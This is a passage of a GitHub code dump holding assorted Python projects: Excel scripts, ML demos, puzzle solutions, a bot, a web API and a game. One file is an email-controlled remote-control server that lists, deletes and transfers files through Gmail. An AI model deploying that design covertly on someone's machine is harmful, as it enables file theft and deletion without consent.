wb_path.worksheets[1]\n\n for x in range(2, 101): # 增加数据\n #获取此学生坐位体前屈成绩\n zuowei = path_sheet.cell(row=x, column=8).value\n\n zhanwei = 0\n\n #性别读取\n gender = 1\n if path_sheet.cell(row=x, column=2).value ==2:\n gender =2\n\n #计算对应于体感站位的成绩\n if gender==1: #男\n zhanwei =round( -0.9588*zuowei +31.371 +random.uniform(-2,2),1)\n else:#女\n zhanwei = round(-1*zuowei +30.8+random.uniform(-2,2) ,1)\n\n #写入站位成绩\n path_sheet.cell(row=x, column=11, value=zhanwei)\n\n #查询站位成绩所在等级\n zhanwei_rank = 11\n for j in range(5,25):\n if gender ==1:\n if zhanwei <= data_sheet.cell(row=j, column=5).value:\n zhanwei_rank = data_sheet.cell(row=j, column=2).value\n break\n else:\n if zhanwei <= data_sheet.cell(row=j, column=8).value:\n zhanwei_rank = data_sheet.cell(row=j, column=2).value\n break\n \n #填充量化等级\n path_sheet.cell(row=x, column=12, value=zhanwei_rank)\n\n #训练一个月后的成绩\n perfor_af_1mth =0\n if path_sheet.cell(row=x, column=10).value == \"优秀\":\n perfor_af_1mth = round(zuowei + random.uniform(-0.5,2),1)\n elif path_sheet.cell(row=x, column=10).value == \"良好\":\n perfor_af_1mth = round(zuowei + random.uniform(-0.5,3),1)\n elif path_sheet.cell(row=x, column=10).value == \"及格\":\n perfor_af_1mth = round(zuowei + random.uniform(-0.5,4),1)\n else:\n perfor_af_1mth = round(zuowei + random.uniform(-0.5,5),1)\n\n path_sheet.cell(row=x, column=13, value=perfor_af_1mth)\n\n #训练两个月后的成绩\n perfor_af_2mth =0\n if path_sheet.cell(row=x, column=10).value == \"优秀\":\n perfor_af_2mth = round(perfor_af_1mth + random.uniform(0.5,2),1)\n elif path_sheet.cell(row=x, column=10).value == \"良好\":\n perfor_af_2mth = round(perfor_af_1mth + random.uniform(0.5,3),1)\n elif path_sheet.cell(row=x, column=10).value == \"及格\":\n perfor_af_2mth = round(perfor_af_1mth + random.uniform(0.5,4),1)\n else:\n perfor_af_2mth = round(perfor_af_1mth + random.uniform(0.5,5),1)\n\n path_sheet.cell(row=x, column=14, value=perfor_af_2mth)\n\n print(str_path+\"生成中,请稍后。。。\")\n\n wb_path.save(path_file)\n\n\n print(\"生成完毕\")\n\n input(\"请按任意键退出\")\n","repo_name":"BasisSun/PythonExcise","sub_path":"excel/oppleexcel.py","file_name":"oppleexcel.py","file_ext":"py","file_size_in_byte":3321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"6262149706","text":"import openpyxl\nimport tkinter.filedialog\nimport win32com.client as win32\n\nexcel = win32.gencache.EnsureDispatch('Excel.Application')\n\nfile_template_path = tkinter.filedialog.askopenfilename(title=\"Mở file để in\")\n\nwb = excel.Workbooks.Open(file_template_path)\n\nexclude_sheet = 'Original Sheet'\n# i = 0\nfor sheet in wb.Sheets:\n\n if sheet.Name!= exclude_sheet:\n # i += 1\n # if sheet.Name == 'KG-T1E-SCN-COREROOMT1E T1':\n print(sheet.Name)\n sheet.PrintOut()\n # print(i)","repo_name":"batruonghuu/Print_Maintainform","sub_path":"print.py","file_name":"print.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"73062184563","text":"import os\r\nimport gmail as g\r\n\r\nBUFSIZE = 1024 * 4\r\nSEPARATOR = \"\"\r\n\r\ndef show_tree():\r\n listD = []\r\n for c in range(ord('A'), ord('Z') + 1):\r\n path = chr(c) + \":\\\\\"\r\n if os.path.isdir(path):\r\n listD.append(path)\r\n g.send_mail(\"SHOWTREE\", listD)\r\n\r\ndef send_list_dirs():\r\n letter = g.read_mail()\r\n path = \"\"\r\n if \"PATH\" in letter:\r\n path = letter.split(\"PATH:\")[1]\r\n elif letter == \"no\":\r\n return [True, \"\"]\r\n if not os.path.isdir(path):\r\n path = letter\r\n return [False, path]\r\n try:\r\n listT = []\r\n listD = os.listdir(path)\r\n for d in listD:\r\n listT.append((d, os.path.isdir(path + \"\\\\\" + d)))\r\n g.send_mail(\"LIST_DIR\", listT)\r\n return [True, path]\r\n except:\r\n g.send_mail(\"error\", \"err\")\r\n return [False, \"error\"] \r\n\r\ndef delete_file():\r\n while True:\r\n letter = g.read_mail()\r\n if \"DELFILE\" in letter:\r\n p = letter.split(\"DELFILE:\")[1]\r\n if os.path.exists(p):\r\n try:\r\n os.remove(p)\r\n g.send_mail(\"DELFILE\", \"SUCCESS\")\r\n return\r\n except:\r\n g.send_mail(\"DELFILE\", \"error\")\r\n return\r\n else:\r\n g.send_mail(\"DELFILE\", \"error\")\r\n return\r\n\r\n# copy file from client to server\r\ndef copy_file_to_server():\r\n while True:\r\n\r\n received = g.read_mail()\r\n if \"FILE_PATH\" in received:\r\n path = received.split(\"FILE_PATH:\")[1]\r\n g.send_mail(\"FILE_PATH\", \"OK\")\r\n path = os.path.normpath(path)\r\n # path = r'{path}'\r\n while True:\r\n letter = g.get_mail_with_attachment(path)\r\n if \"FILECLIENT\" in letter:\r\n g.send_mail(\"RECEIVED\", \"OK\")\r\n return\r\n elif \"ERROR\" in letter:\r\n return\r\n elif \"NOTFILE\" in received:\r\n return\r\n\r\n# copy file from server to client\r\ndef copy_file_to_client():\r\n while True:\r\n letter = g.read_mail()\r\n if \"FILENAME\" in letter:\r\n filename = letter.split(\"FILENAME:\")[1]\r\n if filename == \"-1\" or not os.path.isfile(filename):\r\n g.send_mail(\"FILE_TO_CLIENT\", \"NOTOK\")\r\n return\r\n cmd = 'FILEDATA'\r\n g.send_mail_with_attachment(cmd, filename)\r\n return\r\n elif \"NOTFILE\" in letter:\r\n return\r\n\r\ndef directory():\r\n isMod = False\r\n \r\n while True:\r\n if not isMod:\r\n mod = g.read_mail()\r\n \r\n if (mod == \"SHOW\"):\r\n show_tree()\r\n while True:\r\n check = send_list_dirs()\r\n if not check[0]: \r\n mod = check[1]\r\n if (mod != \"error\"):\r\n isMod = True\r\n break\r\n \r\n # copy file from client to server\r\n elif (mod == \"COPYTO\"):\r\n g.send_mail(\"COPYTO\",\"OK\")\r\n copy_file_to_server()\r\n isMod = False\r\n\r\n # copy file from server to client\r\n elif (mod == \"COPY\"):\r\n g.send_mail(\"COPY\",\"OK\")\r\n copy_file_to_client()\r\n isMod = False\r\n\r\n elif \"XOAFILE\" in mod:\r\n g.send_mail(\"DEL\",\"OK\")\r\n delete_file()\r\n isMod = False\r\n\r\n elif (mod == \"QUIT\"):\r\n return\r\n ","repo_name":"nddat1811/remote-control","sub_path":"server/directory_tree_server_gmail.py","file_name":"directory_tree_server_gmail.py","file_ext":"py","file_size_in_byte":3546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23810249110","text":"import cv2\nimport numpy as np\nimport os\nfrom matplotlib import pyplot as plt\nimport time\nimport mediapipe as mp\n\nmp_holistic = mp.solutions.holistic\nmp_drawing = mp.solutions.drawing_utils\n\ndef mediapipe_detection(image, model):\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) # convert BGR -> RGB\n image_copy = np.copy(image) # create a copy of the image\n image_copy.flags.writeable = False # set the copy as non-writable\n results = model.process(image_copy)\n image_copy.flags.writeable = True # set the copy as writable again\n image_copy = cv2.cvtColor(image_copy, cv2.COLOR_RGB2BGR) # convert RGB -> BGR\n return image_copy, results\n\ndef draw_landmarks(image, results):\n mp_drawing.draw_landmarks(image, results.face_landmarks, mp_holistic.FACEMESH_TESSELATION) # Draw face connections\n mp_drawing.draw_landmarks(image, results.pose_landmarks, mp_holistic.POSE_CONNECTIONS) # Draw pose connections\n mp_drawing.draw_landmarks(image, results.left_hand_landmarks, mp_holistic.HAND_CONNECTIONS) #Draw left hand connections\n mp_drawing.draw_landmarks(image, results.right_hand_landmarks, mp_holistic.HAND_CONNECTIONS) # Draw right hand connections\nmp_holistic.POSE_CONNECTIONS\n\ncap = cv2.VideoCapture(1)\nwith mp_holistic.Holistic(min_detection_confidence=0.5, min_tracking_confidence=0.5) as holistic:\n while cap.isOpened():\n\n # Frame read, pretty fast\n ret, frame = cap.read()\n\n # make detections\n image, results = mediapipe_detection(frame, holistic)\n print(results)\n\n # draw landmarkss\n draw_landmarks(image,results)\n\n # Output on screen\n cv2.imshow('OpenCV Feed', image)\n\n # break\n if cv2.waitKey(10) & 0xFF == ord('q'):\n break\ncap.release()\ncv2.destroyAllWindows()\n\n\n# print(len(results.left_hand_landmarks.landmark))\n\n# draw_landmarks(frame, results)\n# plt.imshow(cv2.cvtColor(frame, cv2.COLOR_BGR2RGB))\n\n\n# Save the frame to a file\n# cv2.imwrite('output_image.jpg', frame)\n\n# Open the image using VS Code's image viewer\n# os.system('code output_image.jpg')\n\n# plt.imshow(cv2.cvtColor(frame, cv2.COLOR_BGR2RGB))","repo_name":"Kizum1/calhacks2023","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2143,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"33592240511","text":"import torchvision\nimport torch\nimport torch.nn.functional as F\nimport numpy as np\nfrom torch.autograd import Variable\nimport matplotlib.pyplot as plt\n\n# AF part\n# x = torch.linspace(-5,5,200)\n# x = Variable(x)\n# x_np = x.data.numpy()\n# y_relu = F.relu(x).data.numpy()\n# y_sigmoid = torch.sigmoid(x).data.numpy()\n# y_tanh =torch.tanh(x).data.numpy()\n# y_softplus = F.softplus(x).data.numpy()\n#\n#\n# plt.figure(1,figsize=(8,6))\n# plt.subplot(221)\n# plt.plot(x_np,y_relu,c='red',label = 'relu')\n# plt.ylim(-1,5)\n# plt.legend(loc='best')\n#\n# plt.subplot(222)\n# plt.plot(x_np,y_sigmoid,c='red',label = 'sigmoid')\n# plt.ylim(-0.2,1.2)\n# plt.legend(loc='best')\n#\n#\n# plt.subplot(223)\n# plt.plot(x_np,y_tanh,c='red',label = 'tanh')\n# plt.ylim(-1.2,1.2)\n# plt.legend(loc='best')\n#\n# plt.subplot(224)\n# plt.plot(x_np,y_softplus,c='red',label = 'softplus')\n# plt.ylim(-0.2,6)\n# plt.legend(loc='best')\n#\n# plt.show()\n\n# numpy and torch\n#\n# np_data = np.arange(6).reshape((2,3))\n# torch_data = torch.from_numpy(np_data)\n# tensor2arry = torch_data.numpy()\n#\n# print(\n# '\\n numpy', np_data,\n# '\\n torch', torch_data,\n# '\\n tensorarray', tensor2arry,\n# )\n\n# abs\n\n# absdata = [-1,-2]\n# tensor = torch.FloatTensor(data)\n# print(torch.mean(tensor))\n\n\n# data = [[1,2],[3,4]]\n#\n# tensor = torch.FloatTensor(data)\n#\n# print(\n# '\\n numpy', np.matmul(data,data),\n# '\\n torch', torch.mm(tensor,tensor)\n# )\n\n# tensor = torch.FloatTensor([[1,2],[3,4]])\n# variable = Variable(tensor,requires_grad = True)\n# t_out = torch.mean(tensor*tensor)\n# v_out = torch.mean(variable*variable)\n#\n# v_out.backward()\n# print(variable.grad)\n# print(variable.data.numpy())\n\n\n# Regression model\n\nx = torch.unsqueeze(torch.linspace(-1, 1, 100), dim=1) # from 1d to 2d\ny = x.pow(2) + 0.2 * torch.rand(x.size()) # add noise\n# y = x.pow(2)\n\n\nx, y = Variable(x), Variable(y)\n\n\n#\n# plt.scatter(x.data.numpy(),y.data.numpy())\n# plt.show()\n\nclass Net(torch.nn.Module):\n def __init__(self, n_features, n_hidden, n_output): # 定义 组成部分\n super(Net, self).__init__()\n self.hidden = torch.nn.Linear(n_features, n_hidden)\n self.predict = torch.nn.Linear(n_hidden, n_output)\n\n pass\n\n def forward(self, x): # 搭建过程\n x = F.relu(self.hidden(x))\n x = self.predict(x)\n return x\n\n\nnet = Net(1, 10, 1)\nprint(net)\n\nplt.ion() # 实时打印\nplt.show()\n\noptimizer = torch.optim.SGD(net.parameters(), lr=0.5)\nloss_func = torch.nn.MSELoss()\n\nfor i in range(100):\n prediction = net(x)\n\n loss = loss_func(prediction, y)\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n if i % 5 == 0:\n plt.cla()\n plt.scatter(x.data.numpy(), y.data.numpy())\n plt.plot(x.data.numpy(), prediction.data.numpy(), 'r-', lw=5)\n plt.text(0.5, 0, 'Loss=%.4f' % loss.data[0], fontdict={'size': 20, 'color': 'red'})\n plt.pause(0.1)\n\nplt.ioff()\nplt.show()\n","repo_name":"stuartnankai/PyTorch-exercise","sub_path":"PytorchThree.py","file_name":"PytorchThree.py","file_ext":"py","file_size_in_byte":2913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"3922721360","text":"from colorama import Fore\nfrom colorama import Style\nimport copy\n\ndef process_line(line):\n\tline = line.rstrip()\n\treturn line\n\nwith open('input.txt') as file:\n\tdata = file.readlines()\n\tdata = [[int(x) for x in process_line(line)] for line in data]\n\ndef deep_count(lst, char):\n\tcount = 0\n\tfor item in lst:\n\t\tif isinstance(item, list):\n\t\t\tcount += deep_count(item, char)\n\t\telif item == char:\n\t\t\tcount += 1\n\treturn count\n\ndef read(lst, p):\n\tif(\n\t\t0 <= p[0] < len(lst) and\n\t\t0 <= p[1] < len(lst[0])\n\t):\n\t\treturn lst[p[0]][p[1]]\n\telse:\n\t\treturn False\n\t\ndef write(lst, p, val):\n\tif(\n\t\t0 <= p[0] < len(lst) and\n\t\t0 <= p[1] < len(lst[0])\n\t):\n\t\tlst[p[0]][p[1]] = val\n\ndef increment(lst, p, inc = 1):\n\tval = read(lst, p)\n\twrite(lst, p, val + inc)\n\ndef output(lst, p):\n\tprint(lst[p[0]][p[1]])\n\ndef can_flash(lst, p):\n\treturn read(lst, p) > 9\n\ndef do_flash(lst, p):\n\tif read(lst, p) > 9:\n\t\tfor i in range(-1, 2):\n\t\t\tfor j in range(-1, 2):\n\t\t\t\tincrement(lst, (p[0] + i, p[1] + j))\n\t\twrite(lst, p, float('-inf'))\n\t\treturn True\n\ndef reset_flash(lst, p):\n\tif read(lst, p) < 0:\n\t\twrite(lst, p, 0)\n\ndef foreach(lst, func, **kwargs):\n\tret = []\n\tfor i in range(len(lst)):\n\t\trow_ret = []\n\t\tfor j in range(len(lst[0])):\n\t\t\trow_ret.append(func(lst, (i,j), **kwargs))\n\t\tret.append(row_ret)\n\treturn ret\n\ndef do_step(lst):\n\tflashes = 0\n\tforeach(lst, increment)\n\twhile deep_count(foreach(lst, can_flash), True) > 0:\n\t\tflashes += deep_count(foreach(lst, do_flash), True)\n\tforeach(lst, reset_flash)\n\treturn flashes\n\ndef display(lst):\n\tdisp = ''\n\tfor i in range(len(lst)):\n\t\tfor j in range(len(lst[i])):\n\t\t\tif lst[i][j] == 0:\n\t\t\t\tdisp += Fore.LIGHTWHITE_EX + Style.BRIGHT\n\t\t\tdisp += str(lst[i][j]) + Style.RESET_ALL\n\t\tdisp += '\\n'\n\tprint(disp)\n\ndef puzzle1():\n\tlst = copy.deepcopy(data)\n\tflashes = 0\n\tfor i in range(100):\n\t\tflashes += do_step(lst)\n\t\n\tsolution = flashes\n\t\n\tprint(f'Puzzle 1 solution: {solution}')\n\ndef puzzle2():\n\tlst = copy.deepcopy(data)\n\tsolution = 0\n\ttotal_count = len(lst) * len(lst[0])\n\tfor i in range(1000):\n\t\tflashes = do_step(lst)\n\t\tprint(f'Step: {i + 1}')\n\t\tdisplay(lst)\n\t\tif total_count == flashes:\n\t\t\tsolution = i\n\t\t\tbreak\n\t\n\tprint(f'Puzzle 2 solution: {solution}')\n\npuzzle1()\npuzzle2()","repo_name":"treecubed/AdventOfCode","sub_path":"2021/Day 11/Day11.py","file_name":"Day11.py","file_ext":"py","file_size_in_byte":2183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"73192386806","text":"import time\n\nimport requests\nfrom aiogram import types\nfrom aiogram.dispatcher.filters import CommandHelp\nfrom aiogram.dispatcher.filters.state import StatesGroup, State\nimport cyrtranslit\nfrom slugify import slugify\n\nfrom loader import dp\n\n\nclass FormPost(StatesGroup):\n dream = State()\n\n\n@dp.message_handler(commands=['dreambook'])\nasync def get_launch(message: types.Message):\n await FormPost.dream.set()\n await message.answer(\"Что вам приснилось ?\")\n\n\n@dp.message_handler(state=FormPost.dream, content_types=['text'])\nasync def process_name(message: types.Message, state: FormPost.dream):\n print(message.text)\n await state.finish()\n cyra = slugify(message.text)\n x = requests.get('https://horoscopes.rambler.ru/api/front/v3/dreams/' + cyra, )\n\n if x.status_code == 404:\n await dp.bot.send_message(message.chat.id, \"По вашему запросу ничего не найденно\")\n else:\n aru = x.json()['content']['draft']['blocks']\n\n for items in aru:\n if len(items['text']) >1:\n await dp.bot.send_message(message.chat.id, items['text'])\n\n # posts = items['text']\n # print(posts)\n # if posts is None:\n # print(\"njn\")\n # else:\n # await dp.bot.send_message(message.chat.id, posts)\n # time.sleep(1)\n","repo_name":"blackyellowbot/horoscopes","sub_path":"handlers/users/dreambook.py","file_name":"dreambook.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"29998768980","text":"import machine\nfrom tools import lang,strings,logger,system,watchdog, info\n\nclass Inactivity:\n\t\"\"\" Class to manage inactivity timer \"\"\"\n\tdef __init__(self, callback, duration=watchdog.LONG_WATCH_DOG, timer_id=-1):\n\t\t\"\"\" Inactivity timer constructor \"\"\"\n\t\tself.timer = machine.Timer(timer_id)\n\t\tself.duration = duration\n\t\tself.callback = callback\n\t\tself.timer_id = timer_id\n\t\tself.start()\n\n\tdef __del__(self):\n\t\t\"\"\" Destructor \"\"\"\n\t\tself.stop()\n\n\tdef start(self):\n\t\t\"\"\" Restart inactivity timer \"\"\"\n\t\tself.timer.init(period=self.duration, mode=machine.Timer.ONE_SHOT, callback=self.callback)\n\n\tdef stop(self):\n\t\t\"\"\" Stop timer \"\"\"\n\t\tself.timer.deinit()\n\n\tdef restart(self):\n\t\t\"\"\" Restart timer \"\"\"\n\t\tself.stop()\n\t\tself.start()\n\nasync def task_monitoring(task, *args, **params):\n\t\"\"\" Check if task crash, log message and reboot if it too frequent \"\"\"\n\timport uasyncio\n\tretry = 0\n\tlastError = \"\"\n\tmemory_error_count = 0\n\tmax_retry = 20\n\ttry:\n\t\twhile retry < max_retry:\n\t\t\ttry:\n\t\t\t\twhile True:\n\t\t\t\t\tif await task(*args, **params):\n\t\t\t\t\t\tretry = 0\n\t\t\texcept MemoryError as err:\n\t\t\t\tlastError = logger.syslog(err, \"Memory error, %s\"%strings.tostrings(info.meminfo()))\n\t\t\t\tfrom gc import collect\n\t\t\t\tcollect()\n\t\t\t\tmemory_error_count += 1\n\t\t\t\tif memory_error_count > 10:\n\t\t\t\t\tlogger.syslog(\"Too many memory error\")\n\t\t\t\t\tbreak\n\t\t\t\tretry += 1\n\t\t\t\tawait uasyncio.sleep_ms(6000)\n\t\t\texcept Exception as err:\n\t\t\t\tlastError = logger.syslog(err, \"Task error\")\n\t\t\t\tretry += 1\n\t\t\t\tawait uasyncio.sleep_ms(6000)\n\t\t\tlogger.syslog(\"Task retry %d/%d\"%(retry,max_retry))\n\t\tlogger.syslog(\"Too many task error reboot\")\n\n\t\tfrom server.server import ServerConfig\n\t\tfrom server.notifier import Notifier\n\n\t\tconfig = ServerConfig()\n\t\tconfig.load()\n\t\tawait Notifier.notify(lang.reboot_after_many%strings.tobytes(lastError), enabled=config.notify)\n\tfinally:\n\t\tsystem.reboot()\n","repo_name":"starena/pycameresp","sub_path":"modules/lib/tools/tasking.py","file_name":"tasking.py","file_ext":"py","file_size_in_byte":1844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"76"} +{"seq_id":"39417405859","text":"from http import HTTPStatus\nimport uuid\nfrom typing import Any\n\nfrom flask import Response, jsonify, request, make_response\nfrom flask_restful import Resource\n\nfrom src.storages.errors import DuplicateError\nfrom src.storages.base import ReviewSort\nfrom src.api.v1 import messages as msg\nfrom src.api.mixins import StorageMixin, LoginMixin, StreamerMixin, CacheMixin\nfrom src.services.auth import username_required\nfrom src.services.logger import logger\n\n\nclass Review(StorageMixin, CacheMixin, Resource):\n \"\"\"API ресурс по работе с рецензиями.\"\"\"\n\n @username_required\n def post(self, username: str, movie_id: uuid.UUID):\n \"\"\"Добавить рецензию.\"\"\"\n text = request.json.get(\"text\")\n\n try:\n review_id = self.storage.add_review(\n movie_id=movie_id,\n username=username,\n text=text\n )\n logger.info(\"Review is created\")\n return jsonify(id=review_id)\n except DuplicateError:\n return make_response(jsonify(msg=msg.REVIEW_EXISTS),\n HTTPStatus.BAD_REQUEST)\n\n def get(self, movie_id: uuid.UUID):\n \"\"\"Получить список рецензий.\n\n Args:\n movie_id: ИД фильма.\n\n \"\"\"\n sort = (\n ReviewSort(request.args.get(\"sort\"))\n if \"sort\" in request.args else None\n )\n key = f\"reviews_by={movie_id}_sort={sort}\"\n cache = self.cache.get(key)\n if cache:\n return jsonify(cache)\n\n reviews = self.storage.get_reviews(movie_id=movie_id, sort=sort)\n reviews_dict = [review.dict() for review in reviews]\n self.cache.put(key=key, value=reviews_dict)\n\n return jsonify(reviews_dict)\n\n\nclass ReviewRating(LoginMixin, StorageMixin, StreamerMixin, Resource):\n \"\"\"API ресурс по работе с оценками рецензий.\"\"\"\n\n def post(self, review_id: Any):\n \"\"\"Поставить оценку рецензии.\"\"\"\n rating = request.json.get(\"rating\")\n try:\n self.storage.add_review_rating(\n review_id=review_id,\n username=self.username,\n rating=rating\n )\n self.streamer.send_review_rating(\n username=self.username,\n review_id=review_id,\n rating=rating\n )\n logger.info(\"Review rating is created\")\n except DuplicateError:\n return make_response(\n jsonify(msg=msg.REVIEW_RATING_EXISTS),\n HTTPStatus.BAD_REQUEST\n )\n\n return Response(status=HTTPStatus.OK)\n","repo_name":"mikhail349/ugc_sprint_2","sub_path":"ugc/src/api/v1/reviews.py","file_name":"reviews.py","file_ext":"py","file_size_in_byte":2731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"74112639605","text":"import pygad\nimport numpy\n\n\"\"\"\nGiven these 2 functions:\n y1 = f(w1:w6) = w1x1 + w2x2 + w3x3 + w4x4 + w5x5 + 6wx6\n y2 = f(w1:w6) = w1x7 + w2x8 + w3x9 + w4x10 + w5x11 + 6wx12\n where (x1,x2,x3,x4,x5,x6)=(4,-2,3.5,5,-11,-4.7) and y=50\n and (x7,x8,x9,x10,x11,x12)=(-2,0.7,-9,1.4,3,5) and y=30\nWhat are the best values for the 6 weights (w1 to w6)? We are going to use the genetic algorithm to optimize these 2 functions.\nThis is a multi-objective optimization problem.\n\nPyGAD considers the problem as multi-objective if the fitness function returns:\n 1) List.\n 2) Or tuple.\n 3) Or numpy.ndarray.\n\"\"\"\n\nfunction_inputs1 = [4,-2,3.5,5,-11,-4.7] # Function 1 inputs.\nfunction_inputs2 = [-2,0.7,-9,1.4,3,5] # Function 2 inputs.\ndesired_output1 = 50 # Function 1 output.\ndesired_output2 = 30 # Function 2 output.\n\nclass Pygad:\n def fitness_func(ga_instance, solution, solution_idx):\n output1 = numpy.sum(solution*function_inputs1)\n output2 = numpy.sum(solution*function_inputs2)\n fitness1 = 1.0 / (numpy.abs(output1 - desired_output1) + 0.000001)\n fitness2 = 1.0 / (numpy.abs(output2 - desired_output2) + 0.000001)\n return [fitness1, fitness2]\n\n def execute():\n fitness_function = Pygad.fitness_func\n\n num_generations = 100\n num_parents_mating = 10\n\n sol_per_pop = 20\n num_genes = len(function_inputs1)\n\n ga_instance = pygad.GA(num_generations=num_generations,\n num_parents_mating=num_parents_mating,\n sol_per_pop=sol_per_pop,\n num_genes=num_genes,\n fitness_func=fitness_function,\n parent_selection_type='nsga2')\n\n ga_instance.run()\n\n ga_instance.plot_fitness(label=['Obj 1', 'Obj 2'])\n\n solution, solution_fitness, solution_idx = ga_instance.best_solution(ga_instance.last_generation_fitness)\n print(f\"Parameters of the best solution : {solution}\")\n print(f\"Fitness value of the best solution = {solution_fitness}\")\n\n prediction = numpy.sum(numpy.array(function_inputs1)*solution)\n print(f\"Predicted output 1 based on the best solution : {prediction}\")\n prediction = numpy.sum(numpy.array(function_inputs2)*solution)\n print(f\"Predicted output 2 based on the best solution : {prediction}\")\n","repo_name":"williamluisan/ga_civil_construction_resource_optimization","sub_path":"modules/libraries_example/pygad_multi_objective.py","file_name":"pygad_multi_objective.py","file_ext":"py","file_size_in_byte":2383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"19246072262","text":"from django.contrib import admin\n\n# Register your models here.\nfrom staff_app.models import Supplier, SupplierBank\n\n\n@admin.register(Supplier)\nclass SupplierAdmin(admin.ModelAdmin):\n model = Supplier\n list_display = ('id','name',)\n\n@admin.register(SupplierBank)\nclass SupplierBankAdmin(admin.ModelAdmin):\n model = SupplierBank\n list_display = ('supplier','bank_name',)\n\n","repo_name":"shahriar350/inventoryDjangoRest","sub_path":"staff_app/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"9446302728","text":"import os\npath = \"./grobid-trainer/resources/dataset/fulltext/corpus/tei/\"\nlist_of_files = os.listdir(path)\n\nprint(list_of_files)\nprint(len(list_of_files))\nfor i in list_of_files:\n training_file = path + i\n print(\"checking\", training_file, \"...\")\n\n lines = {}\n with open(training_file) as fp:\n for cnt, line in enumerate(fp):\n if len(line.strip()) == 0:\n continue\n if line.find(\" \") == -1:\n pieces = line.split(\"\\t\")\n else:\n pieces = line.split(\" \")\n if len(pieces) in lines:\n lines[len(pieces)] += 1\n else:\n lines[len(pieces)] = 1\n\n # report\n expected = 0\n for key in lines:\n if lines[key] > expected:\n expected = int(key)\n\n with open(training_file) as fp:\n for cnt, line in enumerate(fp):\n if len(line.strip()) == 0:\n continue\n if line.find(\" \") == -1:\n pieces = line.split(\"\\t\")\n else:\n pieces = line.split(\" \")\n if len(pieces) != expected:\n print(\"line\", cnt, \"- number of features\", len(pieces),\n \"(expected\", str(expected)+\"):\", line.replace(\"\\n\", \"\"))\n\n # report\n expected = 0\n for key in lines:\n print(key, lines[key])\n if lines[key] > expected:\n expected = int(key)\n print(\"expected number of features per line:\", expected)\n","repo_name":"GMURALI98/header","sub_path":"check.py","file_name":"check.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"23256332326","text":"import math\n\n\nimport misc\nimport n_city\nimport n_unit\n\n\nclass Research(object):\n Cracking = 0\n Psychology = 1\n Crypto = 2\n Robotics = 3\n Nanotech = 4\n Num = 5\n\n MaxLevel = 7\n\n Names = ['Cracking', 'Psychology', 'Crypto', 'Robotics', 'Nanotech']\n IconNames = ['cracking', 'psych', 'crypto', 'robo', 'nano']\n\n FlavorTexts = [\n 'Makes it easier to take control of factories and data centers.',\n 'Allows you to incite riots and game social media to control humans.',\n 'Makes your actions harder for humans to discover.',\n 'Increases the fighting strength of your robot armies.',\n 'Improves human/computer interfaces and computing capacity.']\n\n\nclass GameState(object):\n def __init__(self, world, owners):\n self.world = world\n self.owners = owners\n self.ai_owner = owners[0]\n self.nodes = []\n self.glbls = []\n self.research_level = [0] * Research.Num\n self.human_level = [0] * Research.Num\n self.human_paranoia_level = 0\n\n # Each turn is 1 hour.\n self.turn = 0\n self.raw_material = 0\n\n self.current_action = None\n self.action_progress = 0\n self.action_cost = 0\n\n self.fighting = False\n self.explosions = []\n\n self.victory_flops = 0\n self.victory_military = 0\n self.victory_pop = 0\n\n def AddNode(self, node):\n self.nodes.append(node)\n\n def AddGlobal(self, g):\n self.glbls.append(g)\n\n def RemoveGlobal(self, g):\n self.glbls.remove(g)\n\n def SetCurrentAction(self, action):\n self.current_action = action\n self.action_cost = action.Cost()\n self.action_progress = 0\n\n def AdvanceTurn(self):\n self.turn += 1\n self.fighting = False\n self.explosions = []\n if self.current_action:\n self.action_progress += self.Flops()\n if self.action_progress > self.action_cost:\n self.current_action.Execute()\n self.current_action = None\n\n for n in self.nodes:\n n.EndOfTurnUpdate(self)\n\n for g in self.glbls:\n g.EndOfTurnUpdate(self)\n\n # Clear out dead nodes.\n nnodes = []\n for n in self.nodes:\n if n.health > 0:\n nnodes.append(n)\n # Slowly regen health when not attacked.\n n.health += 1\n if n.health > n.max_health:\n n.health = n.max_health\n else:\n self.AddExplosion(n, 1.0)\n\n self.nodes = nnodes\n self.UpdateVictory()\n\n def UpdateVictory(self):\n pop_controlled = 0\n pop_total = 0\n military_controlled = 0\n military_total = 0\n for n in self.nodes:\n if isinstance(n, n_city.City):\n pop_controlled += 1 / 8. * n.nanotech_level\n pop_total += 1\n if isinstance(n, n_unit.Unit):\n military_total += n.strength\n if n.owner == self.ai_owner:\n military_controlled += n.strength\n\n flops_target = 3e8\n self.victory_flops = min(1.0, self.Flops() / float(flops_target))\n if military_total:\n self.victory_military = military_controlled / float(military_total)\n elif military_controlled:\n self.victory_military = 1\n else:\n self.victory_military = 0\n if pop_total:\n self.victory_pop = pop_controlled / float(pop_total)\n else:\n self.victory_pop = 1\n\n def PopulationFlops(self):\n pop_flops = 0\n for n in self.nodes:\n pop_flops += n.PopulationFlops()\n return pop_flops\n\n def Flops(self):\n flops = 0\n for n in self.nodes:\n flops += n.Flops()\n for g in self.glbls:\n flops += g.Flops(self)\n return flops\n\n def GiveRawMaterial(self, amount):\n self.raw_material += int(amount)\n\n def Print(self):\n print('== GameState %r' % self)\n print('Turn %i' % 